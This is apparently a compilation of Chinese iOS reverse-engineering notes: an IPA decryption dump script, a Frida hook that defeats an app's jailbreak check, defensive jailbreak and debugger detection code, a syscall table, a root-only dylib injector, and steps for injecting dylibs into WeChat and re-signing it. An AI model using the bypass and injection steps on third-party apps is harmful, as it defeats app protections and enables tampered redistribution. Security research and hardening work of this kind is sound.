        if a.name > b.name:
            return 1
        elif a.name < b.name:
            return -1
        else:
            return 0
    elif a_is_running:
        return -1
    else:
        return 1


def get_applications(device):
    try:
        applications = device.enumerate_applications()
    except Exception as e:
        sys.exit('Failed to enumerate applications: %s' % e)

    return applications


def load_js_file(session, filename):
    source = ''
    with codecs.open(filename, 'r', 'utf-8') as f:
        source = source + f.read()
    script = session.create_script(source)
    script.on('message', on_message)
    script.load()

    return script


def create_dir(path):
    path = path.strip()
    path = path.rstrip('\\')
    if os.path.exists(path):
        shutil.rmtree(path)
    try:
        os.makedirs(path)
    except os.error as err:
        print(err)


def open_target_app(device, name_or_bundleid):
    logger.info('Start the target app {}'.format(name_or_bundleid))

    pid = ''
    session = None
    display_name = ''
    bundle_identifier = ''
    for application in get_applications(device):
        if name_or_bundleid == application.identifier or name_or_bundleid == application.name:
            pid = application.pid
            display_name = application.name
            bundle_identifier = application.identifier

    try:
        if not pid:
            pid = device.spawn([bundle_identifier])
            session = device.attach(pid)
            device.resume(pid)
        else:
            session = device.attach(pid)
    except Exception as e:
        print(e) 

    return session, display_name, bundle_identifier


def start_dump(session, ipa_name):
    logger.info('Dumping {} to {}'.format(display_name, TEMP_DIR))

    script = load_js_file(session, DUMP_JS)
    script.post('dump')
    finished.wait()

    generate_ipa(PAYLOAD_PATH, ipa_name)

    if session:
        session.detach()


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='frida-ios-dump (by AloneMonkey v2.0)')
    parser.add_argument('-l', '--list', dest='list_applications', action='store_true', help='List the installed apps')
    parser.add_argument('-o', '--output', dest='output_ipa', help='Specify name of the decrypted IPA')
    parser.add_argument('target', nargs='?', help='Bundle identifier or display name of the target app')
    args = parser.parse_args()

    exit_code = 0
    ssh = None

    if not len(sys.argv[1:]):
        parser.print_help()
        sys.exit(exit_code)

    device = get_usb_iphone()

    if args.list_applications:
        list_applications(device)
    else:
        name_or_bundleid = args.target
        output_ipa = args.output_ipa

        try:
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect(Host, port=Port, username=User, password=Password)

            create_dir(PAYLOAD_PATH)
            (session, display_name, bundle_identifier) = open_target_app(device, name_or_bundleid)
            if output_ipa is None:
                output_ipa = display_name
            output_ipa = re.sub('\.ipa$', '', output_ipa)
            if session:
                start_dump(session, output_ipa)
        except paramiko.ssh_exception.NoValidConnectionsError as e:
            print(e) 
            exit_code = 1
        except paramiko.AuthenticationException as e:
            print(e) 
            exit_code = 1
        except Exception as e:
            print('*** Caught exception: %s: %s' % (e.__class__, e))
            traceback.print_exc()
            exit_code = 1

    if ssh:
        ssh.close()

    if os.path.exists(PAYLOAD_PATH):
        shutil.rmtree(PAYLOAD_PATH)

    sys.exit(exit_code)

屏蔽越狱检测脚本

function bypassJailbreakDetection() {
	try {
		var className = "JailbreakDetection";
        var funcName = "+ isJail";
        var hook = eval('ObjC.classes.' + className + '["' + funcName + '"]');
        Interceptor.attach(hook.implementation, {
          onLeave: function(retval) {
            console.log("[*] Class Name: " + className);
            console.log("[*] Method Name: " + funcName);
            console.log("\t[-] Type of return value: " + typeof retval);
            console.log("\t[-] Original Return Value: " + retval);
            retval.replace(0x0);
            console.log("\t[-] Type of return value: " + typeof retval);
            console.log("\t[-] Return Value: " + retval);
          }
        });
        
	} catch(err) {
		console.log("[-] Error: " + err.message);
	}
}

if (ObjC.available) {
	bypassJailbreakDetection();
} else {
 	send("error: Objective-C Runtime is not available!");
}

反iOS越狱检测

#import <UIKit/UIKit.h>
#import <sys/stat.h>
#import <dlfcn.h>
#import <mach-o/dyld.h>
#import <TargetConditionals.h>
#import <objc/runtime.h>
#import <objc/message.h>
#include <stdio.h>
#import <dlfcn.h>
#import <sys/types.h>

static char *JbPaths[] = {"/Applications/Cydia.app",
    "/usr/sbin/sshd",
    "/bin/bash",
    "/etc/apt",
    "/Library/MobileSubstrate",
    "/User/Applications/"};

static NSSet *sDylibSet ; // 需要检测的动态库
static BOOL SCHECK_USER = NO; /// 检测是否越狱

@implementation UserCust


+ (void)load {
  static dispatch_once_t onceToken;
  dispatch_once(&onceToken, ^{
    sDylibSet  = [NSSet setWithObjects:
                       @"/usr/lib/CepheiUI.framework/CepheiUI",
                       @"/usr/lib/libsubstitute.dylib",
                       @"/usr/lib/substitute-inserter.dylib",
                       @"/usr/lib/substitute-loader.dylib",
                       @"/usr/lib/substrate/SubstrateLoader.dylib",
                       @"/usr/lib/substrate/SubstrateInserter.dylib",
                       @"/Library/MobileSubstrate/MobileSubstrate.dylib",
                       @"/Library/MobileSubstrate/DynamicLibraries/0Shadow.dylib",
                  
                  nil];
    _dyld_register_func_for_add_image(_check_image);
  });
}

+ (instancetype)sharedInstance {
    
    static id sharedInstance = nil;
    static dispatch_once_t onceToken;
    dispatch_once(&onceToken, ^{
        sharedInstance = [self new];
    });
    return sharedInstance;
}

// 监听image加载,从这里判断动态库是否加载,因为其他的检测动态库的方案会被hook
static void _check_image(const struct mach_header *header,
                                      intptr_t slide) {
  // hook Image load
  if (SCHECK_USER) {
    // 检测后就不在检测
    return;
  }

  // 检测的lib
  Dl_info info;
  // 0表示加载失败了,这里大概率是被hook导致的
  if (dladdr(header, &info) == 0) {
    char *dlerro = dlerror();
    // 获取失败了 但是返回了dli_fname, 说明被人hook了,目前看的方案都是直接返回0来绕过的
    if(dlerro == NULL && info.dli_fname != NULL) {
      NSString *libName = [NSString stringWithUTF8String:info.dli_fname];
      // 判断有没有在动态列表里面
      if ([sDylibSet containsObject:libName]) {
        SCHECK_USER = YES;
      }
    }
    return;
  }
}


// 越狱检测
- (BOOL)UVItinitse {
  
    if (SCHECK_USER) {
      return YES;
    }

    if (isStatNotSystemLib()) {
        return YES;
    }

    if (isDebugged()) {
        return YES;
    }

    if (isInjectedWithDynamicLibrary()) {
        return YES;
    }

    if (JCheckKuyt()) {
        return YES;
    }

    if (dyldEnvironmentVariables()) {
        return YES;
    }

    return NO;
}

CFRunLoopSourceRef gSocketSource;
BOOL fileExist(NSString* path)
{
    NSFileManager *fileManager = [NSFileManager defaultManager];
    BOOL isDirectory = NO;
    if([fileManager fileExistsAtPath:path isDirectory:&isDirectory]){
        return YES;
    }
    return NO;
}

BOOL directoryExist(NSString* path)
{
    NSFileManager *fileManager = [NSFileManager defaultManager];
    BOOL isDirectory = YES;
    if([fileManager fileExistsAtPath:path isDirectory:&isDirectory]){
        return YES;
    }
    return NO;
}

BOOL canOpen(NSString* path)
{
    FILE *file = fopen([path UTF8String], "r");
    if(file==nil){
        return fileExist(path) || directoryExist(path);
    }
    fclose(file);
    return YES;
}

#pragma mark 使用NSFileManager通过检测一些越狱后的关键文件是否可以访问来判断是否越狱
// 检测越狱
BOOL JCheckKuyt()
{
    
    if(TARGET_IPHONE_SIMULATOR)return NO;

    //Check cydia URL hook canOpenURL 来绕过
    if([[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@"cydia://package/com.avl.com"]])
    {
        return YES;
    }

    if([[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@"cydia://package/com.example.package"]])
    {
        return YES;
    }

    NSArray* checks = [[NSArray alloc] initWithObjects:@"/Application/Cydia.app",
                       @"/Library/MobileSubstrate/MobileSubstrate.dylib",
                       @"/bin/bash",
                       @"/usr/sbin/sshd",
                       @"/etc/apt",
                       @"/usr/bin/ssh",
                       @"/private/var/lib/apt",
                       @"/private/var/lib/cydia",
                       @"/private/var/tmp/cydia.log",
                       @"/Applications/WinterBoard.app",
                       @"/var/lib/cydia",
                       @"/private/etc/dpkg/origins/debian",
                       @"/bin.sh",
                       @"/private/etc/apt",
                       @"/etc/ssh/sshd_config",
                       @"/private/etc/ssh/sshd_config",
                       @"/Applications/SBSetttings.app",
                       @"/private/var/mobileLibrary/SBSettingsThemes/",
                       @"/private/var/stash",
                       @"/usr/libexec/sftp-server",
                       @"/usr/libexec/cydia/",
                       @"/usr/sbin/frida-server",
                       @"/usr/bin/cycript",
                       @"/usr/local/bin/cycript",
                       @"/usr/lib/libcycript.dylib",
                       @"/System/Library/LaunchDaemons/com.saurik.Cydia.Startup.plist",
                       @"/System/Library/LaunchDaemons/com.ikey.bbot.plist",
                       @"/Applications/FakeCarrier.app",
                       @"/Library/MobileSubstrate/DynamicLibraries/Veency.plist",
                       @"/Library/MobileSubstrate/DynamicLibraries/LiveClock.plist",
                       @"/usr/libexec/ssh-keysign",
                       @"/usr/libexec/sftp-server",
                       @"/Applications/blackra1n.app",
                       @"/Applications/IntelliScreen.app",
                       @"/Applications/Snoop-itConfig.app"
                       @"/var/lib/dpkg/info", nil];
    //Check installed app
    for(NSString* check in checks)
    {
        if(canOpen(check))
        {
            return YES;
        }
    }
    //symlink verification
    struct stat sym;
    // hook lstat可以绕过
    if(lstat("/Applications", &sym) || lstat("/var/stash/Library/Ringtones", &sym) ||
       lstat("/var/stash/Library/Wallpaper", &sym) ||
       lstat("/var/stash/usr/include", &sym) ||
       lstat("/var/stash/usr/libexec", &sym)  ||
       lstat("/var/stash/usr/share", &sym) ||
       lstat("/var/stash/usr/arm-apple-darwin9", &sym))
    {
        if(sym.st_mode & S_IFLNK)
        {
            return YES;
        }
    }
  

    //Check process forking
    // hook fork
    int pid = fork();
    if(!pid)
    {
        exit(1);
    }
    if(pid >= 0)
    {
        return YES;
    }

  
//     check has class only used in breakJail like HBPreferences. 越狱常用的类,这里无法绕过,只要多找一些特征类就可以,注意,很多反越狱插件会混淆,所以可能要通过查关键方法来识别
    NSArray *checksClass = [[NSArray alloc] initWithObjects:@"HBPreferences",nil];
    for(NSString *className in checksClass)
    {
      if (NSClassFromString(className) != NULL) {
        return YES;
      }
    }
  
//    Check permission to write to /private hook FileManager 和 writeToFile来绕过
    NSString *path = @"/private/avl.txt";
    NSFileManager *fileManager = [NSFileManager defaultManager];
    @try {
        NSError* error;
        NSString *test = @"AVL was here";
        [test writeToFile:path atomically:NO encoding:NSStringEncodingConversionAllowLossy error:&error];
        [fileManager removeItemAtPath:path error:nil];
        if(error==nil)
        {
            return YES;
        }

        return NO;
    } @catch (NSException *exception) {
        return NO;
    }
}

BOOL isInjectedWithDynamicLibrary()
{
  unsigned int outCount = 0;
  const char **images =  objc_copyImageNames(&outCount);
  for (int i = 0; i < outCount; i++) {
      printf("%s\n", images[i]);
  }
  
  
  int i=0;
    while(true){
        // hook _dyld_get_image_name方法可以绕过
        const char *name = _dyld_get_image_name(i++);
        if(name==NULL){
            break;
        }
        if (name != NULL) {
          NSString *libName = [NSString stringWithUTF8String:name];
          if ([sDylibSet containsObject:libName]) {
            return YES;
          }

        }
    }
    return NO;
}

#pragma mark 通过环境变量DYLD_INSERT_LIBRARIES检测是否越狱
BOOL dyldEnvironmentVariables ()
{
    if(TARGET_IPHONE_SIMULATOR)return NO;
    return !(NULL == getenv("DYLD_INSERT_LIBRARIES"));
}

#pragma mark 校验当前进程是否为调试模式,hook sysctl方法可以绕过
// Returns true if the current process is being debugged (either
// running under the debugger or has a debugger attached post facto).
// Thanks to https://developer.apple.com/library/archive/qa/qa1361/_index.html
BOOL isDebugged()
{
    int junk;
    int mib[4];
    struct kinfo_proc info;
    size_t size;
    info.kp_proc.p_flag = 0;
    mib[0] = CTL_KERN;
    mib[1] = KERN_PROC;
    mib[2] = KERN_PROC_PID;
    mib[3] = getpid();
    size = sizeof(info);
    junk = sysctl(mib, sizeof(mib) / sizeof(*mib), &info, &size, NULL, 0);
    assert(junk == 0);
    return ( (info.kp_proc.p_flag & P_TRACED) != 0 );
}

#pragma mark 使用stat通过检测一些越狱后的关键文件是否可以访问来判断是否越狱,hook stat 方法和dladdr可以绕过
BOOL isStatNotSystemLib() {
    if(TARGET_IPHONE_SIMULATOR)return NO;
    int ret ;
    Dl_info dylib_info;
    int (*func_stat)(const char *, struct stat *) = stat;
    if ((ret = dladdr(func_stat, &dylib_info))) {
        NSString *fName = [NSString stringWithUTF8String: dylib_info.dli_fname];
        if(![fName isEqualToString:@"/usr/lib/system/libsystem_kernel.dylib"]){
            return YES;
        }
    }
    
    for (int i = 0;i < sizeof(JbPaths) / sizeof(char *);i++) {
        struct stat stat_info;
        if (0 == stat(JbPaths[i], &stat_info)) {
            return YES;
        }
    }
    
    return NO;
}

typedef int (*ptrace_ptr_t)(int _request, pid_t _pid, caddr_t _addr, int _data);

#if !defined(PT_DENY_ATTACH)
#define PT_DENY_ATTACH 31
#endif

// 禁止gdb调试
- (void) disable_gdb {
    if(TARGET_IPHONE_SIMULATOR)return;
    void* handle = dlopen(0, RTLD_GLOBAL | RTLD_NOW);
    ptrace_ptr_t ptrace_ptr = dlsym(handle, "ptrace");
    ptrace_ptr(PT_DENY_ATTACH, 0, 0, 0);
    dlclose(handle);
}

@end

iOS逆向App流程

1. Clutch、frida, CrackXI 砸壳ipa;

2. class-dump导出class类头文件;

3. Reveal、Cycript, FLEX分析界面;

4. 分析类关系、函数调用逻辑,尝试进行hook;

5. theos调试、编译、打包、注入dylib;

6. codesign重签名、发布;

debugserver - iOS逆向调试

一 lldb调试原理:debugserver xcode的lldb之所以能调试app,是因为手机运行app,lldb会把调试指令发给手机的debugServer; debugServer是由Xcode第一次运行程序给安装到手机上。

Xcode上查看debugserver: 按住command键点击Xcode,找到xcode.app显示包内容/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport/15.0 找到DeveloperDiskImage.dmg 里的usr -> bin -> debugserver

手机的根目录下的 Developer -> usr -> bin 里能找到debugserver,越狱手机可以查看 越狱环境下,lldb连接手机的debugserver,然后就可以通过debugserver调试某个app

debugserver如何调试app?

ptrace函数

debugserver通过ptrace函数调试app ptrace是系统函数,此函数提供一个进程去监听和控制另一个进程, 并且可以检测被控制进程的内存和寄存器里面的数据。ptrace可以用来实现断点调试和系统调用跟踪。

FutureRestore-GUI: https://github.com/CoocooFroggy/FutureRestore-GUI

命令行安装FutureRestore-GUI

Mac利用brew命令行安装

macOS: brew install futurerestore-gui

Windows利用winget命令行安装

Windows: winget install futurerestore-gui

-----------------------------------

iOS内嵌内嵌汇编指令 - ios-syscalls

1	__exit
2	fork
3	read
4	write
5	__open
6	close
7	__wait4
9	_kernelrpc_mach_vm_allocate_trap
9	link
10	__unlink
11	_kernelrpc_mach_vm_deallocate_trap
12	chdir
13	_kernelrpc_mach_vm_protect_trap
13	fchdir
14	_kernelrpc_mach_vm_map_trap
14	mknod
15	__chmod
15	_kernelrpc_mach_port_allocate_trap
16	_kernelrpc_mach_port_destroy_trap
16	chown
17	_kernelrpc_mach_port_deallocate_trap
18	_kernelrpc_mach_port_mod_refs_trap
19	_kernelrpc_mach_port_move_member_trap
20	_kernelrpc_mach_port_insert_right_trap
21	_kernelrpc_mach_port_insert_member_trap
22	_kernelrpc_mach_port_extract_member_trap
23	_kernelrpc_mach_port_construct_trap
23	setuid
24	_kernelrpc_mach_port_destruct_trap
24	getuid
25	geteuid
25	mach_reply_port
26	thread_self_trap
27	__recvmsg
27	__recvmsg
27	task_self_trap
28	__sendmsg
28	__sendmsg
28	host_self_trap
29	__recvfrom
29	__recvfrom
30	__accept
30	__accept
30	mach_msg_trap
31	__getpeername
31	__getpeername
31	mach_msg_overwrite_trap
32	__getsockname
32	__getsockname
32	semaphore_signal_trap
33	access
33	semaphore_signal_all_trap
34	chflags
34	semaphore_signal_thread_trap
35	fchflags
35	semaphore_wait_trap
36	semaphore_wait_signal_trap
36	sync
37	__kill
37	semaphore_timedwait_trap
38	semaphore_timedwait_signal_trap
39	getppid
40	_kernelrpc_mach_port_guard_trap
41	_kernelrpc_mach_port_unguard_trap
41	dup
43	getegid
43	task_name_for_pid
44	task_for_pid
45	pid_for_task
46	__sigaction
47	getgid
47	macx_swapon
48	macx_swapoff
48	sigprocmask
49	__getlogin
50	__setlogin
50	macx_triggers
51	acct
51	macx_backing_store_suspend
52	macx_backing_store_recovery
52	sigpending
53	__sigaltstack
54	__ioctl
55	reboot
56	revoke
57	symlink
58	readlink
58	swtch_pri
59	execve
59	swtch
60	syscall_thread_switch
60	umask
61	chroot
61	clock_sleep_trap
65	__msync
65	__msync
73	__munmap
74	__mprotect
74	__mprotect
75	madvise
75	madvise
78	mincore
79	getgroups
80	setgroups
81	getpgrp
82	setpgid
83	setitimer
85	swapon
86	getitimer
88	mach_timebase_info
89	getdtablesize
89	mach_wait_until
90	dup2
90	mk_timer_create
91	mk_timer_destroy
92	__fcntl
92	mk_timer_arm
93	__select
93	__select
93	mk_timer_cancel
95	fsync
96	__setpriority
97	socket
98	__connect
98	__connect
100	getpriority
104	__bind
104	__bind
105	setsockopt
106	__listen
106	__listen
111	__sigsuspend
117	getrusage
118	getsockopt
120	readv
121	writev
122	__settimeofday
123	fchown
124	__fchmod
126	__setreuid
126	__setreuid
127	__setregid
127	__setregid
128	__rename
131	flock
132	mkfifo
133	__sendto
133	__sendto
134	shutdown
135	__socketpair
135	__socketpair
136	mkdir
137	__rmdir
138	utimes
139	futimes
140	adjtime
142	__gethostuuid
147	setsid
148	setquota
149	quota
151	getpgid
152	setprivexec
153	pread
154	pwrite
155	nfssvc
159	unmount
161	getfh
165	quotactl
167	mount
169	csops
170	csops_audittoken
173	waitid
178	__kdebug_trace_string
179	__kdebug_trace64
180	__kdebug_trace
181	setgid
182	setegid
183	seteuid
184	__sigreturn
185	__chud
187	fdatasync
191	pathconf
192	fpathconf
194	__getrlimit
195	__setrlimit
196	getdirentries
197	__mmap
199	__lseek
199	__lseek
200	truncate
201	ftruncate
202	__sysctl
203	mlock
204	munlock
205	undelete
216	__open_dprotected_np
220	__getattrlist
220	__getattrlist
221	__setattrlist
221	__setattrlist
222	getdirentriesattr
223	exchangedata
225	searchfs
226	__delete
227	__copyfile
228	fgetattrlist
229	fsetattrlist
230	poll
231	watchevent
232	waitevent
233	modwatch
234	getxattr
235	fgetxattr
236	setxattr
237	fsetxattr
238	removexattr
239	fremovexattr
240	listxattr
241	flistxattr
242	fsctl
243	__initgroups
244	__posix_spawn
245	ffsctl
247	nfsclnt
248	fhopen
250	minherit
251	__semsys
252	__msgsys
253	__shmsys
254	__semctl
255	semget
256	semop
258	__msgctl
258	__msgctl
259	msgget
260	msgsnd
261	msgrcv
262	shmat
263	__shmctl
263	__shmctl
264	shmdt
265	shmget
266	__shm_open
267	shm_unlink
268	__sem_open
269	sem_close
270	sem_unlink
271	sem_wait
272	sem_trywait
273	sem_post
274	__sysctlbyname
277	__open_extended
278	__umask_extended
279	__stat_extended
280	__lstat_extended
281	__fstat_extended
282	__chmod_extended
283	__fchmod_extended
284	__access_extended
284	__access_extended
285	__settid
285	__settid
286	__gettid
286	__gettid
287	__setsgroups
287	__setsgroups
288	__getsgroups
288	__getsgroups
289	__setwgroups
289	__setwgroups
290	__getwgroups
290	__getwgroups
291	__mkfifo_extended
292	__mkdir_extended
293	__identitysvc
294	__shared_region_check_np
296	vm_pressure_monitor
297	__psynch_rw_longrdlock
298	__psynch_rw_yieldwrlock
299	__psynch_rw_downgrade
300	__psynch_rw_upgrade
301	__psynch_mutexwait
302	__psynch_mutexdrop
303	__psynch_cvbroad
304	__psynch_cvsignal
305	__psynch_cvwait
306	__psynch_rw_rdlock
307	__psynch_rw_wrlock
308	__psynch_rw_unlock
309	__psynch_rw_unlock2
310	getsid
311	__settid_with_pid
312	__psynch_cvclrprepost
313	aio_fsync
314	aio_return
315	aio_suspend
316	aio_cancel
317	aio_error
318	aio_read
319	aio_write
320	lio_listio
322	__iopolicysys
323	__process_policy
324	mlockall
325	munlockall
327	issetugid
328	__pthread_kill
329	__pthread_sigmask
330	__sigwait
331	__disable_threadsignal
332	__pthread_markcancel
333	__pthread_canceled
334	__semwait_signal
336	__proc_info
337	sendfile
338	stat
338	stat
339	fstat
339	fstat
340	lstat
340	lstat
341	__stat64_extended
342	__lstat64_extended
343	__fstat64_extended
344	__getdirentries64
345	statfs
345	statfs
346	fstatfs
346	fstatfs
347	getfsstat
347	getfsstat
348	__pthread_chdir
349	__pthread_fchdir
350	audit
351	auditon
353	getauid
354	setauid
357	getaudit_addr
358	setaudit_addr
359	auditctl
360	__bsdthread_create
361	__bsdthread_terminate
362	kqueue
363	kevent
364	__lchown
364	__lchown
365	__stack_snapshot
366	__bsdthread_register
367	__workq_open
368	__workq_kernreturn
369	kevent64
370	__old_semwait_signal
371	____old_semwait_signal_nocancel
372	__thread_selfid
373	ledger
374	kevent_qos
380	__mac_execve
380	__mac_execve
381	__mac_syscall
381	__mac_syscall
382	__mac_get_file
383	__mac_set_file
384	__mac_get_link
385	__mac_set_link
386	__mac_get_proc
387	__mac_set_proc
387	__mac_set_proc
388	__mac_get_fd
389	__mac_set_fd
390	__mac_get_pid
396	__read_nocancel
396	__read_nocancel
397	__write_nocancel
397	__write_nocancel
398	__open_nocancel
399	__close_nocancel
399	__close_nocancel
400	__wait4_nocancel
400	__wait4_nocancel
401	__recvmsg_nocancel
401	__recvmsg_nocancel
402	__sendmsg_nocancel
402	__sendmsg_nocancel
403	__recvfrom_nocancel
403	__recvfrom_nocancel
404	__accept_nocancel
404	__accept_nocancel
405	__msync_nocancel
405	__msync_nocancel
406	__fcntl_nocancel
407	__select_nocancel
407	__select_nocancel
408	__fsync_nocancel
408	__fsync_nocancel
409	__connect_nocancel
409	__connect_nocancel
410	__sigsuspend_nocancel
411	__readv_nocancel
411	__readv_nocancel
412	__writev_nocancel
412	__writev_nocancel
413	__sendto_nocancel
413	__sendto_nocancel
414	__pread_nocancel
414	__pread_nocancel
415	__pwrite_nocancel
415	__pwrite_nocancel
416	__waitid_nocancel
416	__waitid_nocancel
417	__poll_nocancel
417	__poll_nocancel
418	__msgsnd_nocancel
418	__msgsnd_nocancel
419	__msgrcv_nocancel
419	__msgrcv_nocancel
420	__sem_wait_nocancel
420	__sem_wait_nocancel
421	__aio_suspend_nocancel
421	__aio_suspend_nocancel
422	____sigwait_nocancel
423	__semwait_signal_nocancel
424	__mac_mount
424	__mac_mount
425	__mac_get_mount
426	__mac_getfsstat
427	__fsgetpath
428	audit_session_self
429	audit_session_join
430	fileport_makeport
431	fileport_makefd
432	audit_session_port
433	pid_suspend
434	pid_resume
435	pid_hibernate
436	pid_shutdown_sockets
438	__shared_region_map_and_slide_np
439	kas_info
440	memorystatus_control
441	__guarded_open_np
442	guarded_close_np
443	guarded_kqueue_np
444	change_fdguard_np
446	proc_rlimit_control
447	connectx
448	disconnectx
449	peeloff
450	socket_delegate
451	__telemetry
452	proc_uuid_policy
453	memorystatus_get_level
454	system_override
455	vfs_purge
456	__sfi_ctl
457	__sfi_pidctl
458	__coalition
459	__coalition_info
460	necp_match_policy
461	getattrlistbulk
463	__openat
464	__openat_nocancel
465	__renameat
466	faccessat
467	fchmodat
468	fchownat
470	fstatat
470	fstatat
471	linkat
472	__unlinkat
473	readlinkat
474	symlinkat
475	mkdirat
476	getattrlistat
477	proc_trace_log
478	__bsdthread_ctl
479	openbyid_np
480	recvmsg_x
481	sendmsg_x
482	__thread_selfusage
483	__csrctl
484	__guarded_open_dprotected_np
485	guarded_write_np
486	guarded_pwrite_np
487	guarded_writev_np
488	__rename_ext
489	mremap_encrypted
490	netagent_trigger
491	__stack_snapshot_with_config
492	__microstackshot
493	grab_pgo_data
499	__work_interval_ctl

iOS动态库注入工具:cynject、yololib、insert_dylib、optool、install_name_tool

Cycript

cycript是大神saurik开发的一个非常强大的工具, 可以让开发者在命令行下和应用交互,在运行时查看和修改应用。 底层实现: 是通过苹果的JavaScriptCore.framework来打通iOS与javascript的桥梁(OC和JS互相调用)

-----------------------------------

install_name_tool 注入动态库 使用说明

 (1)@executable_path。这个path很少用,本质上就是可执行程序的路径。在动态库中基本上不使用这个path.

  (2) @loader_path。这个path在之前的应用中用的非常多,可以通过这个path来设置动态库的install path name。
  但是它有自己的局限性,就是当一个动态库同时被多个程序引用时,如果位置不一样的话仍然需要手动修改。这个在参考链接中有说明。  
  (3) @rpath  它是run path的缩写。本质上它不是一个明确的path,甚至可以说它不是一个path。
  它只是一个变量,或者叫占位符。这个变量通过XCode中的run path选项设置值,或者通过install_name_tool的-add_rpath设置值。
  设置好run path之后,所有的@rpath都会被替换掉。此外,run path是可以设置多个值的
  
INSTALL_NAME_TOOL(1)					      General Commands Manual					      INSTALL_NAME_TOOL(1)

NAME

       install_name_tool - change dynamic shared library install names

SYNOPSIS

       install_name_tool [-change old new ] ... [-rpath old new ] ... [-add_rpath new ] ... [-delete_rpath new ] ... [-id name] file

DESCRIPTION

       Install_name_tool  changes the dynamic shared library install names and or adds, changes or deletes the rpaths recorded in a Mach-O binary.
       For this tool to work when the install names or rpaths are larger the binary should be built with  the  ld(1)  -headerpad_max_install_names
       option.

       -change old new
	      Changes  the dependent shared library install name old to new in the specified Mach-O binary.  More than one of these options can be
	      specified.  If the Mach-O binary does not contain the old install name in a specified -change option the option is ignored.

       -id name
	      Changes the shared library identification name of a dynamic shared library to name.  If the Mach-O binary is not	a  dynamic  shared
	      library and the -id option is specified it is ignored.

       -rpath old new
	      Changes  the  rpath  path  name old to new in the specified Mach-O binary.  More than one of these options can be specified.  If the
	      Mach-O binary does not contain the old rpath path name in a specified -rpath it is an error.

       -add_rpath new
	      Adds the rpath path name new in the specified Mach-O binary.  More than one of these options can be specified.  If the Mach-O binary
	      already contains the new rpath path name specified in -add_rpath it is an error.

       -delete_rpath old
	      deletes  the  rpath  path  name old in the specified Mach-O binary.  More than one of these options can be specified.  If the Mach-O
	      binary does not contains the old rpath path name specified in -delete_rpath it is an error.

基于cynject注入dylib

#include <sys/cdefs.h>
#include <sys/types.h>
#include <sys/param.h>
#include <mach/mach.h>
#include <mach/boolean.h>
#include <dispatch/dispatch.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <spawn.h>
#include <assert.h>
extern char ***_NSGetEnviron(void);
extern int proc_listallpids(void *, int);
extern int proc_pidpath(int, void *, uint32_t);
static const char *cynject_path = "/usr/bin/cynject";
static const char *dispatch_queue_name = NULL;
static int process_buffer_size = 4096;
static pid_t process_pid = -1;
static boolean_t find_process(const char *name, pid_t *ppid_ret) {
    pid_t *pid_buffer;
    char path_buffer[MAXPATHLEN];
    int count, i, ret;
    boolean_t res = FALSE;
    
    pid_buffer = (pid_t *)calloc(1, process_buffer_size);
    assert(pid_buffer != NULL);
    
    count = proc_listallpids(pid_buffer, process_buffer_size);
    if (count) {
        for (i = 0; i < count; i++) {
            pid_t ppid = pid_buffer[i];
            
            ret = proc_pidpath(ppid, (void *)path_buffer, sizeof(path_buffer));
            if (ret < 0) {
                printf("(%s:%d) proc_pidinfo() call failed.\n", __FILE__, __LINE__);
                continue;
            }
            
            if (strstr(path_buffer, name)) {
                res = TRUE;
                *ppid_ret = ppid;
                break;
            }
        }
    }
    
    free(pid_buffer);
    return res;
}
static void inject_dylib(const char *name, pid_t pid, const char *dylib) {
    char **argv;
    char pid_buf[32];
    int res;
    pid_t child;
    
    argv = calloc(4, sizeof(char *));
    assert(argv != NULL);
    
    snprintf(pid_buf, sizeof(pid_buf), "%d", pid);
    
    argv[0] = (char *)name;
    argv[1] = (char *)pid_buf;
    argv[2] = (char *)dylib;
    argv[3] = NULL;
    
    printf("(%s:%d) calling \"%s %s %s\"\n", __FILE__, __LINE__, argv[0], argv[1], argv[2]);
    
    res = posix_spawn(&child, argv[0], NULL, NULL, argv, (char * const *)_NSGetEnviron());
    assert(res == 0);
    
    return;
}
int main(int argc, char *argv[]) {
    printf("***** pp_inject by piaoyun ***** \n");
    if (geteuid() != 0) {
        printf("FATAL: must be run as root.\n");
        return 1;
    }
    
    if (argc < 3 ) {
        printf("FATAL: ppinject <pid> <dylib>.\n");
        return 2;
    }
    
    const char *process_name = argv[1];
    const char *dylib_path = argv[2];
    
    
    printf("Creating queue...\n");
    dispatch_queue_t queue = dispatch_queue_create(dispatch_queue_name, 0);
    
    printf("Finding %s PID...\n", process_name);
    dispatch_async(queue, ^{ while (!find_process(process_name, &process_pid)); });
    
    printf("Waiting for queue to come back...\n");
    dispatch_sync(queue, ^{});
    
    printf("%s PID is %d\n", process_name, process_pid);
    
    printf("Injecting %s into %s...\n", dylib_path, process_name);
    inject_dylib(cynject_path, process_pid, dylib_path);
    
    return 0;
}

Mach-O注入/删除动态库 insert_dylib optool

如果要让现成的App,执行自己的代码可以通过注入动态库,

静态的注入可以使用optool工具修改MachO的Load Commands然后重签,

动态运行时可以使用dlopen 或 Bundle(path: "**.bundle").load()加载

通过 otool -L命令查看你生成的.dylib文件
otool -L ioswechatselectall.dylib

查看CPU框架
lipo -archs ioswechatselectall.dylib

首先要找到libsubstrate.dylib文件,该文件应该在/opt/thoes/lib/目录下,然后将其拷贝到与你生成的的.dylib一个目录下,通过下面的指令修改依赖,
install_name_tool -change /Library/Frameworks/CydiaSubstrate.framework/CydiaSubstrate @loader_path/libsubstrate.dylib wx.dylib

添加可执行文件的依赖
此处用的是insert_dylib 下载地址在https://github.com/Tyilo/insert_dylib
编译后,将其与其他两个文件拷贝到同一目录下

然后将其插入到执行文件中
1.将wx.dylib 和libsubstrate.dylib拷贝进你的WeChat.app 
2.记住要把WeChat_patched的名字改回来WeChat

@executable_path是一个环境变量,指的是二进制文件所在的路径

insert_dylib命令格式: ./insert_dylib 动态库路径 目标二进制文件

//注入动态库
./insert_dylib @executable_path/ioswechatselectall.dylib WeChat 
./yololib  Wechat wxhbts.dylib
//打包成ipa 
xcrun -sdk iphoneos PackageApplication -v WeChat.app -o `pwd`/WeChat.ipa

注入神器optool

编译获取
因为 optool 添加了 submodule,因为需要使用 --recuresive 选项,将子模块全部 clone 下来
git clone --recursive https://github.com/alexzielenski/optool.git
cd optool
xcodebuild -project optool.xcodeproj -configuration Release ARCHS="i386 x86_64" build

